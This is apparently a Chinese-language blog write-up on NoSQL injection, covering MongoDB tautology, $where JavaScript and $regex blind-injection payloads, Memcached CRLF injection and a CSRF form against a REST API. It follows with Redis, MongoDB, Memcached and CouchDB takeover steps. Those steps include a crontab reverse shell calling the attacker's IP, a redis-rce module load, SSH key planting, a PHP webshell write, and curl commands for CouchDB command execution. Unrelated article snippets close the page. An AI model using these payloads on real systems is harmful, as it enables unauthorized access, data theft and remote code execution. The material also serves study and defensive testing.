关于NoSQL注入的学习记录

VSole2021-10-08 14:22:48

01 NoSQL数据库介绍:

NoSQL,泛指非关系型的数据库。NoSQL有时也称作Not Only SQL的缩写,是对不同于传统的关系型数据库的数据库管理系统的统称。NoSQL用于超大规模数据的存储。(例如谷歌或Facebook每天为他们的用户收集万亿比特的数据)。这些类型的数据存储不需要固定的模式,无需多余操作就可以横向扩展。

分类

Examples举例

典型应用场景

数据模型

优点

缺点

键值(key-value)

Tokyo Cabinet/Tyrant, Redis, Voldemort, Oracle BDB

内容缓存,主要用于处理大量数据的高访问负载,也用于一些日志系统等等。

Key 指向 Value 的键值对,通常用hash table来实现

查找速度快

数据无结构化,通常只被当作字符串或者二进制数据

列存储数据库

Cassandra, HBase, Riak

分布式的文件系统

以列簇式存储,将同一列数据存在一起

查找速度快,可扩展性强,更容易进行分布式扩展

功能相对局限

文档型数据库

CouchDB, MongoDb

Web应用(与Key-Value类似,Value是结构化的,不同的是数据库能够了解Value的内容)

Key-Value对应的键值对,Value为结构化数据

数据结构要求不严格,表结构可变,不需要像关系型数据库一样需要预先定义表结构

查询性能不高,而且缺乏统一的查询语法。

图形(Graph)数据库

Neo4J, InfoGrid, Infinite Graph

社交网络,推荐系统等。专注于构建关系图谱

图结构

利用图结构相关算法。比如最短路径寻址,N度关系查找等

很多时候需要对整个图做计算才能得出需要的信息,而且这种结构不太好做分布式的集群方案。

02 NoSQL数据库注入

1.原理

NoSQL数据库提供比传统SQL数据库更宽松的一致性限制。通过减少关系约束和一致性检查,NoSQL数据库提供了更好的性能和扩展性。然而,即使这些数据库没有使用传统的SQL语法,它们仍然可能很容易的受到注入攻击。由于这些NoSQL注入攻击可以在程序语言中执行,而不是在声明式 SQL语言中执行,所以潜在影响要大于传统SQL注入。NoSQL数据库的调用是使用应用程序的编程语言编写的,过滤掉常见的HTML特殊字符,如<>&;不会阻止针对NoSQL的攻击。

2.分类
1)重言式

重言式又称为永真式。就是构造注入代码使表达式的结果永远判定为真,从而绕过认证。

2)联合查询

联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。

3)JavaScript注入

NoSQL数据库可以在数据库中执行JavaScript语句,MongoDB使用 $where操作符就可以执行JavaScript语句,当用户构造恶意输入作为查询语句就可以实现注入。

4)盲注

与SQL注入盲注类似,都是根据页面返回的结果来判断是否存在注入。

5)背负式查询

攻击者通过利用转义特定字符(比如像回车和换行之类的结束符)插入由数据库额外执行的查询,这样就可以执行任意代码了。

6)跨域违规

攻击者通过调用暴露的HTTP REST API的模块其他域攻击数据库。在跨域攻击中,攻击者利用合法用户和他们的网页浏览器执行有害的操作。

3.实验演示

实验环境:

10.10.19.100:80端口映射到66.28.5.2:80

攻击机(win10):192.168.2.100

目标机(win7):10.10.19.100(apache2.4.18+php5.3+mogodb3.2.22)

拓扑:


mongodb基础语法:

1.show dbs //查看所有数据库
2.use test //创建test数据库(创建后要插入数据才会显示)
3.db.passwd.insert({'name':'admin','password':'123456'}) //创建集合passwd并插入数据
4.db.passwd.find() //查询集合所有数据

常用操作符:

$ne:匹配字段值不等于指定值的文档,包括没有这个字段的文档
$or :文档至少满足其中的一个表达式
$eq:匹配字段值等于指定值的文档
$where :可以通过js表达式或js函数来查询文档
$regex :正则表达式可以匹配到的文档
$gt:匹配字段值大于指定值的文档
$gte:匹配字段值大于等于指定值的文档
$lt:匹配字段值小于指定值的文档
$lte:匹配字段值小于等于指定值的文档
$in :匹配字段值等于指定数组中的任何值
$nin :字段值不在指定数组或者不存在
$not :字段值不匹配表达式或者字段值不存在
$nor:字段值不匹配所有的表达式的文档,包括那些不包含这些字段的文档
$exists:<boolean> 等于true时,字段存在,包括字段值为null的文档
$type:匹配字段值为指定数据类型的文档
$mod :匹配字段值被除有指定的余数的文档
$text :针对创建了全文索引的字段进行文本搜索
1)重言式

测试使用操作符$ne进行演示,将与指定值不相等的值查询出来。

先往mongodb插入几条数据以便之后操作:

测试代码:
<?php
$connect = new Mongo();   //连接数据库
$db = $connect -> test;   //选择数据库
$collections = $db -> passwd;   //选择集合
$username = $_GET['username'];
$password = $_GET['password'];
//查询数据
$cursor = $collections -> find(array("name" => $username,"passwd" => $password));
$result = iterator_to_array($cursor);
if (count($result)>0) {
foreach($result as $value){
echo "username: ".$value['name'].'<-->'."password: ".$value['passwd'].'<br>';
}
}
?>

正常查询,传入username=admin&password=123456

传入username[$ne]=a&password[$ne]=a,将和指定值不相等的值查询出来。


2)联合查询

联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。但是现在无论是PHP的MongoDB driver还是node.js的mongoose都要求查询条件必须是一个数组或者对象了,因此简单演示一下联合查询的用法。

查询代码:
string query = "{ name:'" + post_username +"',passwd:'" +post_password+'"}"

正常查询的语句:
{ name:'admin',passwd:'123456'}

构造插入语句:
{'name':'admin','$or':[{},{'a':'a','passwd':''}]}

不需要密码,将用户名为admin的数据查询出来。


3)JavaScript注入

mongodb中使用$where操作符执行javascript语句进行查询

测试代码:
<?php
$connect = new Mongo;
//构造javascript查询语句
$query_body =array(
'$where'=>"function q() {
  var username,password;
  username = '".$_REQUEST["username"]."';
  password = '".$_REQUEST["password"]."';
    if(username == 'admin'&&password == '123456')
        return true;
    else{
        return false;
        }
    }
");
$db = $connect -> test;
$collections = $db -> passwd;
$cursor = $collections -> find($query_body);
$result = iterator_to_array($cursor);
if(count($result)>0){
echo "ok";
}else{
echo "no";
}
?>

当查询的用户名和密码存在时,返回true,结果为ok。


当查询的用户名和密码不存在时,返回false,结果为no。

构造注入代码,使结果查询永远为真:
payload:
username=a&password=a';return true;'
代码变为:
'$where'=>"function q() {
  var username,password;
  username = '".$_REQUEST["username"]."';
  password = '".$_REQUEST["password"]."';
  return true;'';
    if(username == 'admin'&&password == '123456')
        return true;
    else{
        return false;
        }


在数据库中测试:


4)盲注

NoSQL的盲注和SQL注入盲注类似,都是根据页面返回的真假判断是否存在注入。这里使用$eq操作符和$regex操作符进行盲注。

测试代码:
<?php
$connect = new Mongo();
$db = $connect->test;
$collections = $db->passwd;
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];

if (is_array($username)) {
$data = array(
'name'=>$username);
$cursor = $collections->find($data);
$result=iterator_to_array($cursor);
if (count($result)>0) {
$data1 = array('name'=>$username,'passwd'=>$password);
$cursor1 = $collections->find($data1);
$result1 = iterator_to_array($cursor1);
if(count($result1)>0){
echo '用户名和密码都正确';
}else{
echo '用户名正确,密码错误';
}}else{
echo '用户名错误';
}
}else{
if ($username == 'admin'&&$password=='123456') {
echo 'loging success';
}else{
echo 'login failed';
}
}
?>

用户名和密码错误时,显示登陆失败。


使用$eq判断正确的用户名,输入username[$eq]=a&password=a显示用户名错误。

输入username[$eq]=admin&password=a,当用户存在时显示用户名正确,密码错误(这里可以通过爆破出用户名)。

判断出用户名后使用$regex获取密码:

payload:
username[$eq]=admin&password[$regex]=.{7}     //判断密码长度为7位返回错误
username[$eq]=admin&password[$regex]=.{6}     //判断密码长度位6位返回正确
username[$eq]=admin&password[$regex]=a.{5}    //判断第一位位a返回错误
username[$eq]=admin&password[$regex]=a.{5}    //判断第一位为1返回正确
以此类推,最终查询出密码

使用数据库查询:

5)背负式查询

将键值插入Memcached数据库的的一种注入,由于未找到相关演示案例,此处简单介绍一下相关操作:

语法:

set <KEY> <FLAG> <EXPIRE_TIME> <LENGTH>,

当PHP配置的函数被调用时,接收参数如下:

$memcached->set('key', 'value');

该驱动程序未能针对带有回车\r(0x0D)和换行的\n(0x0A)的ASCII码采取措施,导致攻击者有机会注入包含有键参数的新命令行和其他非计划内的命令到缓存中。如下代码,其中的$param是用户输入并作为键来作用:

$memcached=new Memcached();
$memcached->addServer('localhost',11211);
$memcached->set($param, "some value");

攻击者可以提供以下输入进行注入攻击:

"key1 0 3600 4\r\nabcd\r\nset key2 0 3600 4\r\ninject\r\n"

增加到数据库中的第一个键是具有”some value”值的key1。攻击者可以增加其他的、非计划内的键到数据库中,即带有”inject”值的key2。这种注入也可以发生在get命令上。看一下Memcached主页上的示例,它以这三行开头:

Function get_foo(foo_id) foo = memcached_get("foo: " . foo_id) return foo if defined foo

这个示例展示了Memcached的典型用法,在处理输入之前首先检查在数据库中是不是已经存在了。假设用类似代码检查从用户那里接收的认证令牌,验证他们是不是登录过了,那么就可以通过传递以下作为令牌的字符串来利用它:

"random_token\r\nset my_crafted_token 0 3600 4\r\nroot\r\n"

当这个字符串作为令牌传递时,数据库将检查这个”random_token”是否存在,然后将添加一个具有”root”值的”my_crafted_token”。之后,攻击者就可以发送具有root身份的my_crafted_token令牌了。可以被这项技术攻击的其他指令还有:

incr <Key> <Amount>
decr <Key> <Amount>
delete <Key>

在此,incr用于增加一个键的值,decr用于缩减一个键的值,以及delete用于删除一个键。攻击者也可以用像set和get函数一样的手段来使用带来自己键参数的这三个函数。攻击者可以使用多条目函数进行同样的注入:deleteMulti、getMulti和setMulti,其中每一个键字段都可以被注入。回车换行注入可以被用于连接多个get请求。在一项我们进行的测试中,包括原始get在内最多可以连接17条。这样注入返回的结果是第一个键及其相应的值。

6)跨域违规

NoSQL数据库往往会提供HTTP REST API接口,以便客户端进行数据库查询,如MongoDB、CouchDB、Hbase等。但这样做也伴随着安全风险,攻击者可以利用REST API进行跨站请求伪造,让攻击者可以绕过防火墙等防御设备。

HTTP REST API是NoSQL数据库中的一个流行模块,然而,它们引入了一类新的漏洞,它甚至能让攻击者从其他域攻击数据库。在跨域攻击中,攻击者利用合法用户和他们的网页浏览器执行有害的操作。是一种跨站请求伪造(CSRF)攻击形式的违规行为,在此网站信任的用户浏览器将被利用在NoSQL数据库上执行非法操作。通过把HTML格式的代码注入到有漏洞的网站或者欺骗用户进入到攻击者自己的网站上,攻击者可以在目标数据库上执行post动作,从而破坏数据库。

现在让我们看看CSRF攻击是如何使用这个函数增加新文件到管理员集合中的,从而在hr数据库(它被认为处于安全的内部网络中)中增加了一个新的管理员用户,如下图所示。若想攻击成功,必须要满足几个条件。首先,攻击者必须能操作一个网站,要么是他们自己的网站,要么是利用不安全的网站。攻击在该网站放置一个HTML表单以及一段将自动提交该表单的脚本,比如:

<form action="http://safe.internal.db/hr/admins/_insert" method="POST" name="csrf">
<input type="text" name="docs" value=" [{"username":attacker}]" /></form>
<script> document.forms[0].submit(); </script>

藏在防火墙后的内部网络内的用户被欺骗访问一个恶意外部网页,这将导致在内部网络的NoSQL数据库的 REST API 上执行非预期的查询。

第二,攻击者必须通过网络诱骗或感染用户经常访问的网站欺骗用户进入被感染的网站。最后,用户必须许可访问Mongoose HTTP接口。

用这种方式,攻击者不必进入内部网络即可执行操作,在本例中,是插入新数据到位于内部网络中的数据库中。这种攻击执行很简单,但要求攻击者要提前侦察去识别主机、数据库名称,等等。

三、NoSQL数据库GETSHELL方法

1.Redis数据库

实验环境:

10.10.19.50:6379端口映射到66.28.5.2:6379

攻击机(kali):66.28.6.10

目标机(centos7):10.10.19.50

1)crontab计划任务

先在本机设置监听:
nc -lvvp 6379
连接目标执行如下命令,等待反弹shell:
66.28.5.2:6379> set xx "\n* * * * * bash -i >& /dev/tcp/66.28.6.10/6379 0>&1\n"
OK
66.28.5.2:6379> config set dir /var/spool/cron/
OK
66.28.5.2:6379> config set dbfilename root
OK
66.28.5.2:6379> save
OK


2)主从复制RCE

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

1.so文件:git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(下载后进入目录make,获取恶意so文件)
2.python脚本:git clone https://github.com/Ridter/redis-rce.git
3.
4.执行命令:python3 redis-rce.py -r 66.28.5.2 -p 6379 -L 66.28.6.10 -f module.so

3)ssh-keygen

攻击机执行代码:
生成密钥:
ssh-keygen -t rsa
cd /root/.ssh
(echo -e "\n"; cat id_rsa.pub; echo -e "\n") > key.txt
设置值:
cat key.txt | redis-cli -h 66.28.5.2 -x set a
连接redis执行代码:
config set dir /root/.ssh
config set dbfilename "authorized_keys"
save


4)写webshell

连接redis,执行如下代码:
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

目标机查看已写入shell文件。

连接查看:

2.MongoDB未授权访问

3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1;3.0之前版本,如未添加用户管理员账号及数据库账号,使用–auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;3.0及之后版本,使用–auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

环境:

10.10.19.100:27017端口映射到66.28.5.2:27017

攻击机(win10):192.168.2.100

目标机(win7): 10.10.19.100

使用工具不需要验证可直接连接数据库:

3.memcached未授权访问

环境:

10.10.19.50:11211端口映射到66.28.5.2:11211

目标centos:10.10.19.50

攻击win10: 192.168.0.100

安装服务:
sudo yum install memcached
启动服务
sudo memcached -d -u root -p 11211 -m 128

查看服务已开启:

telnet可连接:telnet 66.28.5.2 11211

4.couchdb未授权访问

实验环境:

10.10.19.50:5984端口映射到66.28.5.2:5984

攻击机( centos):66.28.6.10

目标机(kali):10.10.19.50

出现如下页面说明couchdb安装成功:

访问_config出现如下页面说明漏洞存在:

访问_utils直接与数据库进行交互:

输入以下命令可执行任意命令:
新建一个执行命令配置”
curl -X PUT 'http://66.28.5.2:5984/_config/query_servers/cmd' -d '"whoami > /tmp/success"'
新建表:
curl -X PUT 'http://66.28.5.2:5984/vultest'
新建库,插入数据:
curl -X PUT 'http://66.28.5.2:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
调用query_servers处理数据:
curl -X POST 'http://66.28.5.2:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'


已建立新的库vultest:

在靶机中查看命令执行成功:

04 总结

本文介绍了常见的几种NOSQL数据注入方式和GETSHELL方法,希望对大家能有所帮助。其中背负式查询和跨域违规两种注入方式未能完成复现,摘录了相关文章,原文链接详见参考链接。

nosqlmemcached命令
本作品采用《CC 协议》,转载必须注明作者和本文链接
NoSQL,泛指非关系型的数据库。NoSQL有时也称作Not Only SQL的缩写,是对不同于传统的关系型数据库的数据库管理系统的统称。NoSQL用于超大规模数据的存储。(例如谷歌或Facebook每天为他们的用户收集万亿比特的数据)。这些类型的数据存储不需要固定的模式,无需多余操作就可以横向扩展。 分类
NoSQL注入漏洞是使用NoSQL数据库的Web应用程序中的错误。此Web应用程序安全问题使恶意方可以绕过身份验证,提取数据,修改数据,甚至获得对应用程序的完全控制。NoSQL注入攻击是缺乏数据清理的结果。 与传统的SQL注...
RedisJSON 横空出世
2021-12-21 16:18:23
近期官网给出了RedisJson(RedisSearch)的性能测试报告,可谓碾压其他NoSQL,下面是核心的报告内容,先上结论: 对于隔离写入(isolated writes),RedisJSON 比 MongoDB 快 5.4 倍,比 ElasticSearch 快 200 倍以上。 对于隔离读取(isolated reads),RedisJSON 比 MongoDB 快 12.7 倍,比
2022年4月20日,Apache发布安全公告,修复了一个 Apache APISIX中的信息泄露漏洞。漏洞编号: CVE-2022-29266,漏洞威胁等级:严重。
日前,JFrog的研究人员披露在Apache Cassandra数据库中发现高严重性安全漏洞,如果不加以解决,该漏洞可帮助恶意人员在受影响的计算设备上获得远程代码执行权限。
Sirius是一款功能强大的通用漏洞扫描工具,该工具可以帮助广大研究人员在大多数场景下识别和验证应用程序中存在的安全漏洞。
我们最近在 Azure Cosmos DB 上发现了一个非常重要的漏洞,其中 Cosmos DB Notebooks 中缺少身份验证检查。我们将其命名为“CosMiss”。我们要感谢 Microsoft 的合作以及他们为保护此漏洞而采取的快速行动。Jupyter Notebooks 内置在 Azure Cosmos DB 中,供开发人员用于执行常见任务,例如数据清理、数据探索、数据转换和机器学习。据我们所知,获取 forwardingId 的唯一方法就是以经过身份验证的用户身份打开 Notebook。此外,客户使用此功能来检查来自 Cosmos DB 的数据以及可以使用其 API 集成的其他数据源。
刘弘利指出,数据作为生产要素,其安全性、重要性愈发明显。刘弘利数据安全考虑数据资产的保护和数据治理。绿盟科技漏洞全生命周期的解决方案以漏洞优先级为核心,整合多源脆弱性数据,聚焦关键风险,量化风险指标,帮助客户建立快速响应机制,及时有效完成漏洞修补工作,促进漏洞的简捷、高效、安全运营。为兴业银行的漏洞管理流程提供快速响应、有序修补、持续优化的管理能力。
不受信任的数据被注入 Web 应用程序,并诱使该应用程序执行命令和访问数据。XSS 是最普遍的安全风险之一。正确转义所有不受信任的数据并包括白名单输入验证,维护更新 Web 应用程序。在 DDoS 攻击期间,攻击者用虚假流量淹没接入路由器,直到系统过载并失败。DDoS 攻击涉及来自许多不同来源的协同攻击。缓解 DDoS 攻击的直接方法是监控传入流量。
近日,安识科技A-Team团队监测到一则 Apache CouchDB 组件存在远程代码执行漏洞的信息,漏洞编号:CVE-2022-24706,漏洞威胁等级:高危。
VSole
网络安全专家